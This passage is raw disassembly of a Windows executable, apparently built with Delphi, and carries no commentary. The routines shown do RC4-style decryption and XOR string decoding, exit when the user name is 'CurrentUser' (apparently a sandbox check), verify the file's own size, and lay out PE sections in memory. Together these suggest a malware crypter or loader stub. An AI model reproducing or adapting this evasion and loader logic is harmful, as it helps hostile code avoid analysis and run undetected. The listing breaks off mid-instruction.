sub_20012540+Ao ; =============== S U B R O U T I N E ======================================= sub_20012574 proc near ; CODE XREF: CODE:2001267Dp push offset stru_20015878 ; lpCriticalSection call DeleteCriticalSection_0 mov eax, ds:hObject push eax ; hObject call CloseHandle_0 retn sub_20012574 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2001258C proc near ; CODE XREF: CODE:2001262Dp push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:dword_20015868 call sub_2001022C mov edi, eax xor eax, eax push ebp push offset loc_200125E1 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx test ebx, ebx jl short loc_200125C9 inc ebx xor esi, esi loc_200125B7: ; CODE XREF: sub_2001258C+3Bj mov edx, esi mov eax, edi call sub_20010050 call sub_200034F4 inc esi dec ebx jnz short loc_200125B7 loc_200125C9: ; CODE XREF: sub_2001258C+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200125E8 loc_200125D6: ; CODE XREF: sub_2001258C+5Aj mov eax, ds:dword_20015868 call sub_20010240 retn ; --------------------------------------------------------------------------- loc_200125E1: ; DATA XREF: sub_2001258C+15o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200125D6 ; --------------------------------------------------------------------------- loc_200125E8: ; CODE XREF: sub_2001258C+54j ; DATA XREF: sub_2001258C+45o mov eax, ds:dword_20015868 call sub_200034F4 pop edi pop esi pop ebx pop ebp retn sub_2001258C endp ; --------------------------------------------------------------------------- align 4 loc_200125F8: ; DATA XREF: CODE:20012669o ; CODE:200126CFo call sub_2000FEA8 retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp xor eax, eax push ebp push offset loc_200126A4 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015864 jnz short loc_20012696 mov eax, ds:dword_20015660 call sub_2000FEA8 mov eax, ds:dword_2001585C mov edx, [eax] call dword ptr [edx+14h] call sub_2001258C xor edx, edx xor eax, eax call sub_20011C80 mov eax, offset dword_20015874 call sub_2000BC9C call sub_20005C00 lea eax, [eax+8] call sub_2000BC9C mov eax, offset dword_2001586C call sub_2000BC9C mov eax, offset dword_2001585C call sub_200054F4 mov eax, offset loc_200125F8 call sub_20005390 mov eax, offset dword_200143B8 call sub_2000BC9C call sub_20012574 mov eax, offset dword_20015870 call sub_2000BC9C mov eax, offset dword_2001585C call sub_200054F4 loc_20012696: ; CODE XREF: CODE:20012617j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200126AB loc_200126A3: ; CODE XREF: CODE:200126A9j retn ; --------------------------------------------------------------------------- loc_200126A4: ; DATA XREF: CODE:20012606o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200126A3 ; --------------------------------------------------------------------------- loc_200126AB: ; CODE XREF: CODE:loc_200126A3j ; DATA XREF: CODE:2001269Eo pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20012739 push dword ptr fs:[eax] mov fs:[eax], esp sub ds:dword_20015864, 1 jnb short loc_2001272B call sub_20012540 mov eax, offset loc_200125F8 call sub_20005388 mov dl, 1 mov eax, off_20006E78 call sub_2000B9DC mov edx, eax test edx, edx jz short loc_200126EE sub edx, 0FFFFFFD4h loc_200126EE: ; CODE XREF: CODE:200126E9j mov eax, offset dword_2001585C call sub_2000550C mov dl, 1 mov eax, off_2000FB98 call sub_2000FD70 mov ds:dword_2001586C, eax mov dl, 1 mov eax, off_2000F670 call sub_2001015C mov ds:dword_20015868, eax mov dl, 1 mov eax, off_2000F670 call sub_2001015C mov ds:dword_20015874, eax loc_2001272B: ; CODE XREF: CODE:200126C8j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012740 loc_20012738: ; CODE XREF: CODE:2001273Ej retn ; --------------------------------------------------------------------------- loc_20012739: ; DATA XREF: CODE:200126B6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012738 ; --------------------------------------------------------------------------- loc_20012740: ; CODE XREF: CODE:loc_20012738j ; DATA XREF: CODE:20012733o pop ebp retn ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20012769 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015890 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012770 loc_20012768: ; CODE XREF: CODE:2001276Ej retn ; --------------------------------------------------------------------------- loc_20012769: ; DATA XREF: CODE:2001274Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012768 ; --------------------------------------------------------------------------- loc_20012770: ; CODE XREF: CODE:loc_20012768j ; DATA XREF: CODE:20012763o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015890, 1 retn ; =============== S U B R O U T I N E ======================================= sub_2001277C proc near ; CODE XREF: sub_20012F40+2BEp var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov [esp+1Ch+var_1C], edx mov edi, eax mov eax, [esp+1Ch+var_1C] call sub_20004244 mov [esp+1Ch+var_14], eax mov byte ptr [edi+100h], 0 mov byte ptr [edi+101h], 0 xor edx, edx mov eax, edi loc_200127A6: ; CODE XREF: sub_2001277C+30j mov [eax], dl inc edx inc eax test dl, dl jnz short loc_200127A6 xor eax, eax xor esi, esi mov dl, 0 mov ecx, edi loc_200127B6: ; CODE XREF: sub_2001277C+82j cmp esi, [esp+1Ch+var_14] jge short loc_200127C8 mov ebx, [esp+1Ch+var_1C] mov bl, [ebx+esi] mov [esp+1Ch+var_17], bl jmp short loc_200127CD ; --------------------------------------------------------------------------- loc_200127C8: ; CODE XREF: sub_2001277C+3Ej mov [esp+1Ch+var_17], 0 loc_200127CD: ; CODE XREF: sub_2001277C+4Aj inc esi cmp esi, [esp+1Ch+var_14] jl short loc_200127D6 xor esi, esi loc_200127D6: ; CODE XREF: sub_2001277C+56j mov bl, [ecx] add bl, [esp+1Ch+var_17] add al, bl mov bl, [ecx] mov [esp+1Ch+var_18], bl xor ebx, ebx mov bl, al mov bl, [edi+ebx] mov [ecx], bl xor ebx, ebx mov bl, al lea ebp, [edi+ebx] mov bl, [esp+1Ch+var_18] mov [ebp+0], bl inc ecx dec dl jnz short loc_200127B6 add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_2001277C endp ; =============== S U B R O U T I N E ======================================= sub_20012808 proc near ; CODE XREF: sub_20012F40+2DFp xor ecx, ecx mov edx, 102h call sub_20002E38 retn sub_20012808 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012818 proc near ; CODE XREF: sub_20012F40+2D4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov ebx, [ebp+arg_0] dec ebx test ebx, ebx jl short loc_20012888 inc ebx mov [ebp+var_4], ebx mov esi, edx loc_2001282D: ; CODE XREF: sub_20012818+6Ej inc byte ptr [eax+100h] xor edx, edx mov dl, [eax+100h] mov dl, [eax+edx] add [eax+101h], dl xor ebx, ebx mov bl, [eax+101h] mov bl, [eax+ebx] push ebx xor ebx, ebx mov bl, [eax+100h] lea edi, [eax+ebx] pop ebx mov [edi], bl xor ebx, ebx mov bl, [eax+101h] mov [eax+ebx], dl xor ebx, ebx mov bl, [eax+100h] add dl, [eax+ebx] and edx, 0FFh mov dl, [eax+edx] xor dl, [esi] mov [ecx], dl inc ecx inc esi dec [ebp+var_4] jnz short loc_2001282D loc_20012888: ; CODE XREF: sub_20012818+Dj pop edi pop esi pop ebx pop ecx pop ebp retn 4 sub_20012818 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_200128B5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015894 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200128BC loc_200128B4: ; CODE XREF: CODE:200128BAj retn ; --------------------------------------------------------------------------- loc_200128B5: ; DATA XREF: CODE:20012896o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200128B4 ; --------------------------------------------------------------------------- loc_200128BC: ; CODE XREF: CODE:loc_200128B4j ; DATA XREF: CODE:200128AFo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_20015894, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_200128ED push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015898 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200128F4 loc_200128EC: ; CODE XREF: CODE:200128F2j retn ; --------------------------------------------------------------------------- loc_200128ED: ; DATA XREF: CODE:200128CEo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_200128EC ; --------------------------------------------------------------------------- loc_200128F4: ; CODE XREF: CODE:loc_200128ECj ; DATA XREF: CODE:200128E7o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015898, 1 retn ; =============== S U B R O U T I N E ======================================= sub_20012900 proc near ; CODE XREF: sub_20012A88+EDp ; sub_20012A88+F8p ... push ecx mov edx, esp call sub_20002F88 pop edx retn sub_20012900 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2001290C proc near ; CODE XREF: CODE:200133AAp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_20004434 xor eax, eax push ebp push offset loc_2001298F push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 5 mov eax, [ebp+var_4] call sub_20004244 mov edi, eax test edi, edi jle short loc_2001296E mov esi, 1 loc_20012949: ; CODE XREF: sub_2001290C+60j lea eax, [ebp+var_4] call sub_2000449C mov edx, [ebp+var_4] movzx edx, byte ptr [edx+esi-1] xor edx, ebx mov [eax+esi-1], dl cmp ebx, 14h jnz short loc_20012969 mov ebx, 4 loc_20012969: ; CODE XREF: sub_2001290C+56j inc ebx inc esi dec edi jnz short loc_20012949 loc_2001296E: ; CODE XREF: sub_2001290C+36j mov eax, [ebp+var_8] mov edx, [ebp+var_4] call sub_20003FFC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012996 loc_20012986: ; CODE XREF: sub_2001290C+88j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_2001298F: ; DATA XREF: sub_2001290C+1Ao jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012986 ; --------------------------------------------------------------------------- loc_20012996: ; CODE XREF: sub_2001290C+82j ; DATA XREF: sub_2001290C+75o pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_2001290C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200129A0 proc near ; CODE XREF: CODE:20013394p var_154 = dword ptr -154h var_150 = byte ptr -150h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEACh push ebx push esi xor edx, edx mov [ebp+var_154], edx mov esi, eax xor eax, eax push ebp push offset loc_20012A7A push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_154] xor eax, eax call sub_20002928 mov edx, [ebp+var_154] lea eax, [ebp+var_150] call sub_20002BFC mov eax, ds:off_20014540 mov byte ptr [eax], 0 mov edx, 1 lea eax, [ebp+var_150] call sub_20002F60 call sub_200027DC test eax, eax jnz short loc_20012A5A lea eax, [ebp+var_150] call sub_20002DEC call sub_2000275C mov ebx, eax mov eax, esi mov edx, ebx call sub_200045D0 lea eax, [ebp+var_4] push eax mov eax, esi call sub_2000449C mov edx, eax mov ecx, ebx lea eax, [ebp+var_150] call sub_20002D54 call sub_2000275C cmp ebx, [ebp+var_4] jz short loc_20012A48 push 0 ; uExitCode call ExitProcess_0 loc_20012A48: ; CODE XREF: sub_200129A0+9Fj lea eax, [ebp+var_150] call sub_20002D94 call sub_2000275C jmp short loc_20012A61 ; --------------------------------------------------------------------------- loc_20012A5A: ; CODE XREF: sub_200129A0+60j push 0 ; uExitCode call ExitProcess_0 loc_20012A61: ; CODE XREF: sub_200129A0+B8j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012A81 loc_20012A6E: ; CODE XREF: sub_200129A0+DFj lea eax, [ebp+var_154] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20012A7A: ; DATA XREF: sub_200129A0+18o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012A6E ; --------------------------------------------------------------------------- loc_20012A81: ; CODE XREF: sub_200129A0+D9j ; DATA XREF: sub_200129A0+C9o pop esi pop ebx mov esp, ebp pop ebp retn sub_200129A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012A88 proc near ; CODE XREF: CODE:2001339Fp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_20004434 xor eax, eax push ebp push offset loc_20012BE7 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_20004244 mov esi, eax cmp esi, 1 jl short loc_20012AF7 loc_20012ABE: ; CODE XREF: sub_20012A88+6Dj mov eax, [ebp+var_4] mov bl, [eax+esi-1] test bl, bl jnz short loc_20012ADA lea eax, [ebp+var_4] mov ecx, 64h mov edx, esi call sub_200044E4 jmp short loc_20012AF7 ; --------------------------------------------------------------------------- loc_20012ADA: ; CODE XREF: sub_20012A88+3Fj lea eax, [ebp+var_C] mov edx, ebx call sub_20004190 mov edx, [ebp+var_C] lea eax, [ebp+var_8] mov ecx, [ebp+var_8] call sub_20004290 dec esi test esi, esi jnz short loc_20012ABE loc_20012AF7: ; CODE XREF: sub_20012A88+34j ; sub_20012A88+50j cmp [ebp+var_8], 0 jnz short loc_20012B04 push 0 ; uExitCode call ExitProcess_0 loc_20012B04: ; CODE XREF: sub_20012A88+73j mov eax, [ebp+var_8] call sub_20004244 mov edx, [ebp+var_8] cmp byte ptr [edx+eax-1], 1 jnz short loc_20012B1D mov ds:byte_200143C0, 1 loc_20012B1D: ; CODE XREF: sub_20012A88+8Cj mov eax, [ebp+var_8] call sub_20004244 mov edx, eax lea eax, [ebp+var_8] mov ecx, 1 call sub_200044E4 mov eax, [ebp+var_8] call sub_20004244 mov edx, [ebp+var_8] cmp byte ptr [edx+eax-1], 1 jnz short loc_20012B4D mov ds:byte_200143BC, 1 loc_20012B4D: ; CODE XREF: sub_20012A88+BCj mov eax, [ebp+var_8] call sub_20004244 mov edx, eax lea eax, [ebp+var_8] mov ecx, 1 call sub_200044E4 lea eax, [ebp+var_10] push eax mov eax, [ebp+var_4] call sub_20004244 mov ebx, eax mov eax, [ebp+var_8] call sub_20012900 sub ebx, eax push ebx mov eax, [ebp+var_8] call sub_20012900 mov ecx, eax mov eax, [ebp+var_4] pop edx call sub_200044A4 mov eax, [ebp+var_10] call sub_20004244 mov edx, eax inc edx mov eax, edi call sub_200045D0 push edi mov eax, [ebp+var_4] call sub_20004244 mov ebx, eax inc ebx mov eax, [ebp+var_8] call sub_20012900 sub ebx, eax push ebx mov eax, [ebp+var_8] call sub_20012900 mov ecx, eax mov eax, [ebp+var_4] pop edx call sub_200044A4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012BEE loc_20012BD9: ; CODE XREF: sub_20012A88+164j lea eax, [ebp+var_10] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20012BE7: ; DATA XREF: sub_20012A88+1Co jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012BD9 ; --------------------------------------------------------------------------- loc_20012BEE: ; CODE XREF: sub_20012A88+15Ej ; DATA XREF: sub_20012A88+14Co pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20012A88 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012BF8 proc near ; CODE XREF: sub_20012CD0+107p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push ebx push esi push edi mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_20012C4C push dword ptr fs:[eax] mov fs:[eax], esp mov eax, esi call sub_20003FA8 test ebx, ebx jle short loc_20012C36 loc_20012C1F: ; CODE XREF: sub_20012BF8+3Cj lea eax, [ebp+var_4] mov edx, edi call sub_20004190 mov edx, [ebp+var_4] mov eax, esi call sub_2000424C dec ebx jnz short loc_20012C1F loc_20012C36: ; CODE XREF: sub_20012BF8+25j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012C53 loc_20012C43: ; CODE XREF: sub_20012BF8+59j lea eax, [ebp+var_4] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20012C4C: ; DATA XREF: sub_20012BF8+11o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012C43 ; --------------------------------------------------------------------------- loc_20012C53: ; CODE XREF: sub_20012BF8+53j ; DATA XREF: sub_20012BF8+46o pop edi pop esi pop ebx pop ecx pop ebp retn sub_20012BF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20012C5C proc near ; CODE XREF: sub_20012F40+45p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ecx, [eax+3Ch] add ecx, eax mov edi, [ecx+38h] mov ebx, [ecx+54h] mov eax, ebx xor edx, edx div edi test edx, edx jnz short loc_20012C7B mov [esp+14h+var_14], ebx jmp short loc_20012C87 ; --------------------------------------------------------------------------- loc_20012C7B: ; CODE XREF: sub_20012C5C+18j mov eax, ebx xor edx, edx div edi inc eax imul edi mov [esp+14h+var_14], eax loc_20012C87: ; CODE XREF: sub_20012C5C+1Dj lea esi, [ecx+18h] movzx eax, word ptr [ecx+14h] add esi, eax movzx ebx, word ptr [ecx+6] dec ebx test ebx, ebx jb short loc_20012CC6 inc ebx xor ecx, ecx loc_20012C9C: ; CODE XREF: sub_20012C5C+68j lea eax, [ecx+ecx*4] mov ebp, [esi+eax*8+8] test ebp, ebp jz short loc_20012CC2 mov eax, ebp xor edx, edx div edi test edx, edx jnz short loc_20012CB6 add [esp+14h+var_14], ebp jmp short loc_20012CC2 ; --------------------------------------------------------------------------- loc_20012CB6: ; CODE XREF: sub_20012C5C+53j mov eax, ebp xor edx, edx div edi inc eax imul edi add [esp+14h+var_14], eax loc_20012CC2: ; CODE XREF: sub_20012C5C+49j ; sub_20012C5C+58j inc ecx dec ebx jnz short loc_20012C9C loc_20012CC6: ; CODE XREF: sub_20012C5C+3Bj mov eax, [esp+14h+var_14] pop edx pop ebp pop edi pop esi pop ebx retn sub_20012C5C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012CD0 proc near ; CODE XREF: CODE:200133B5p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_20004434 xor eax, eax push ebp push offset loc_20012E44 push dword ptr fs:[eax] mov fs:[eax], esp jmp loc_20012DE9 ; --------------------------------------------------------------------------- loc_20012CFE: ; CODE XREF: sub_20012CD0+138j lea eax, [ebp+var_10] mov ecx, [ebp+var_4] mov edx, offset dword_20012E5C call sub_20004290 mov edx, [ebp+var_10] mov eax, offset dword_20012E68 call sub_20004588 mov ebx, eax lea eax, [ebp+var_C] push eax mov eax, [ebp+var_4] call sub_20004244 mov ecx, eax lea edx, [ebx+2] mov eax, [ebp+var_4] call sub_200044A4 lea eax, [ebp+var_8] push eax mov edx, [ebp+var_C] mov eax, offset dword_20012E74 call sub_20004588 inc eax push eax mov eax, [ebp+var_C] call sub_20004244 mov ecx, eax mov eax, [ebp+var_C] pop edx call sub_200044A4 mov edx, [ebp+var_C] mov eax, offset dword_20012E74 call sub_20004588 push eax mov eax, [ebp+var_C] call sub_20004244 mov ecx, eax lea eax, [ebp+var_C] pop edx call sub_200044E4 mov edx, [ebp+var_8] mov eax, offset dword_20012E74 call sub_20004588 push eax mov eax, [ebp+var_8] call sub_20004244 mov ecx, eax lea eax, [ebp+var_8] pop edx call sub_200044E4 mov eax, [ebp+var_8] call sub_20004244 add eax, 5 push eax mov eax, [ebp+var_C] call sub_20004244 pop ecx add ecx, eax mov esi, ebx dec esi mov edx, esi lea eax, [ebp+var_4] call sub_200044E4 mov eax, [ebp+var_C] call sub_20012900 push eax mov eax, [ebp+var_8] call sub_20012900 lea ecx, [ebp+var_14] pop edx call sub_20012BF8 mov eax, [ebp+var_14] mov ecx, esi lea edx, [ebp+var_4] call sub_2000452C loc_20012DE9: ; CODE XREF: sub_20012CD0+29j lea eax, [ebp+var_18] mov ecx, [ebp+var_4] mov edx, offset dword_20012E5C call sub_20004290 mov edx, [ebp+var_18] mov eax, offset dword_20012E68 call sub_20004588 test eax, eax jg loc_20012CFE mov eax, [ebp+var_4] call sub_20004244 mov edx, eax mov eax, edi call sub_200045D0 mov eax, edi mov edx, [ebp+var_4] call sub_20003FFC xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012E4B loc_20012E36: ; CODE XREF: sub_20012CD0+179j lea eax, [ebp+var_18] mov edx, 6 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20012E44: ; DATA XREF: sub_20012CD0+1Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012E36 ; --------------------------------------------------------------------------- loc_20012E4B: ; CODE XREF: sub_20012CD0+173j ; DATA XREF: sub_20012CD0+161o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20012CD0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_20012E5C dd 20h, 0FFFFFFFFh, 3 ; DATA XREF: sub_20012CD0+34o ; sub_20012CD0+11Fo dword_20012E68 dd 2C783Fh, 0FFFFFFFFh, 1 ; DATA XREF: sub_20012CD0+41o ; sub_20012CD0+12Co dword_20012E74 dd 2Ch ; DATA XREF: sub_20012CD0+6Do ; sub_20012CD0+8Fo ... ; =============== S U B R O U T I N E ======================================= sub_20012E78 proc near ; CODE XREF: sub_20012F40+CAp ; sub_20012F40+143p ... push ebx mov ebx, edx mov ecx, eax mov eax, ecx xor edx, edx div ebx test edx, edx jnz short loc_20012E8B mov eax, ecx pop ebx retn ; --------------------------------------------------------------------------- loc_20012E8B: ; CODE XREF: sub_20012E78+Dj mov eax, ecx xor edx, edx div ebx inc eax imul ebx pop ebx retn sub_20012E78 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012E98 proc near ; CODE XREF: sub_20012F40+31p ; sub_20012F40:loc_20012FD3p ... var_8 = dword ptr -8 pcbBuffer = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi xor eax, eax mov [ebp+var_8], eax xor eax, eax push ebp push offset loc_20012F03 push dword ptr fs:[eax] mov fs:[eax], esp xor ebx, ebx mov eax, 40h call sub_20002668 mov esi, eax mov [ebp+pcbBuffer], 40h lea eax, [ebp+pcbBuffer] push eax ; pcbBuffer push esi ; lpBuffer call GetUserNameA lea eax, [ebp+var_8] mov edx, esi call sub_200041A0 mov eax, [ebp+var_8] mov edx, offset aCurrentuser ; "CurrentUser" call sub_20004390 jnz short loc_20012EED mov bl, 1 loc_20012EED: ; CODE XREF: sub_20012E98+51j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20012F0A loc_20012EFA: ; CODE XREF: sub_20012E98+70j lea eax, [ebp+var_8] call sub_20003FA8 retn ; --------------------------------------------------------------------------- loc_20012F03: ; DATA XREF: sub_20012E98+10o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20012EFA ; --------------------------------------------------------------------------- loc_20012F0A: ; CODE XREF: sub_20012E98+6Aj ; DATA XREF: sub_20012E98+5Do mov eax, ebx pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20012E98 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Bh aCurrentuser db 'CurrentUser',0 ; DATA XREF: sub_20012E98+47o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20012F28 proc near ; CODE XREF: sub_20012F40+197p ; sub_20012F40+22Cp var_105 = byte ptr -105h push ebp mov ebp, esp add esp, 0FFFFFEF8h lea eax, [ebp+var_105] test eax, eax mov esp, ebp pop ebp retn sub_20012F28 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_20012F40(CONTEXT Context) sub_20012F40 proc near ; CODE XREF: CODE:2001340Dp var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_24E = byte ptr -24Eh Context = CONTEXT ptr -14Ch push ebp mov ebp, esp add esp, 0FFFFFDA4h push ebx push esi push edi xor edx, edx mov [ebp+var_25C], edx mov [ebp+var_258], edx mov [ebp+var_254], edx mov dword ptr [ebp+Context.ExtendedRegisters+7Ch], eax xor eax, eax push ebp push offset loc_20013266 push dword ptr fs:[eax] mov fs:[eax], esp call sub_20012E98 mov eax, dword ptr [ebp+Context.ExtendedRegisters+7Ch] mov eax, [eax+3Ch] add eax, dword ptr [ebp+Context.ExtendedRegisters+7Ch] mov dword ptr [ebp+Context.ExtendedRegisters+78h], eax mov eax, dword ptr [ebp+Context.ExtendedRegisters+7Ch] call sub_20012C5C mov dword ptr [ebp+Context.ExtendedRegisters+64h], eax mov eax, dword ptr [ebp+Context.ExtendedRegisters+64h] call sub_20002668 mov dword ptr [ebp+Context.ExtendedRegisters+74h], eax xor edx, edx push ebp push offset loc_20013241 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, dword ptr [ebp+Context.ExtendedRegisters+74h] mov dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] mov eax, [eax+54h] mov dword ptr [ebp+Context.ExtendedRegisters+68h], eax mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] lea esi, [eax+18h] mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] movzx eax, word ptr [eax+14h] add esi, eax mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] movzx edi, word ptr [eax+6] dec edi test edi, edi jb short loc_20012FEB inc edi xor ebx, ebx loc_20012FD3: ; CODE XREF: sub_20012F40+A9j call sub_20012E98 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+14h] cmp eax, dword ptr [ebp+Context.ExtendedRegisters+68h] jnb short loc_20012FE7 mov dword ptr [ebp+Context.ExtendedRegisters+68h], eax loc_20012FE7: ; CODE XREF: sub_20012F40+A2j inc ebx dec edi jnz short loc_20012FD3 loc_20012FEB: ; CODE XREF: sub_20012F40+8Ej call sub_20012E98 mov ecx, dword ptr [ebp+Context.ExtendedRegisters+68h] mov edx, dword ptr [ebp+Context.ExtendedRegisters+7Ch] mov eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch] call sub_20005E88 mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] mov edx, [eax+38h] mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] mov eax, [eax+54h] call sub_20012E78 add eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch] mov dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax mov eax, dword ptr [ebp+Context.ExtendedRegisters+78h] movzx edi, word ptr [eax+6] dec edi test edi, edi jb loc_200130BF inc edi xor ebx, ebx loc_20013028: ; CODE XREF: sub_20012F40+179j call sub_20012E98 lea eax, [ebx+ebx*4] cmp dword ptr [esi+eax*8+10h], 0 jbe short loc_20013090 call sub_20012E98 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+10h] mov dword ptr [ebp+Context.ExtendedRegisters+60h], eax lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] cmp eax, dword ptr [ebp+Context.ExtendedRegisters+60h] jnb short loc_2001305C lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov dword ptr [ebp+Context.ExtendedRegisters+60h], eax loc_2001305C: ; CODE XREF: sub_20012F40+110j call sub_20012E98 lea eax, [ebx+ebx*4] mov edx, [esi+eax*8+14h] add edx, dword ptr [ebp+Context.ExtendedRegisters+7Ch] mov ecx, dword ptr [ebp+Context.ExtendedRegisters+60h] mov eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch] call sub_20005E88 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, dword ptr [ebp+Context.ExtendedRegisters+78h] mov edx, [edx+38h] call sub_20012E78 add eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch] mov dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax jmp short loc_200130B7 ; --------------------------------------------------------------------------- loc_20013090: ; CODE XREF: sub_20012F40+F5j call sub_20012E98 lea eax, [ebx+ebx*4] cmp dword ptr [esi+eax*8+8], 0 jz short loc_200130B7 lea eax, [ebx+ebx*4] mov eax, [esi+eax*8+8] mov edx, dword ptr 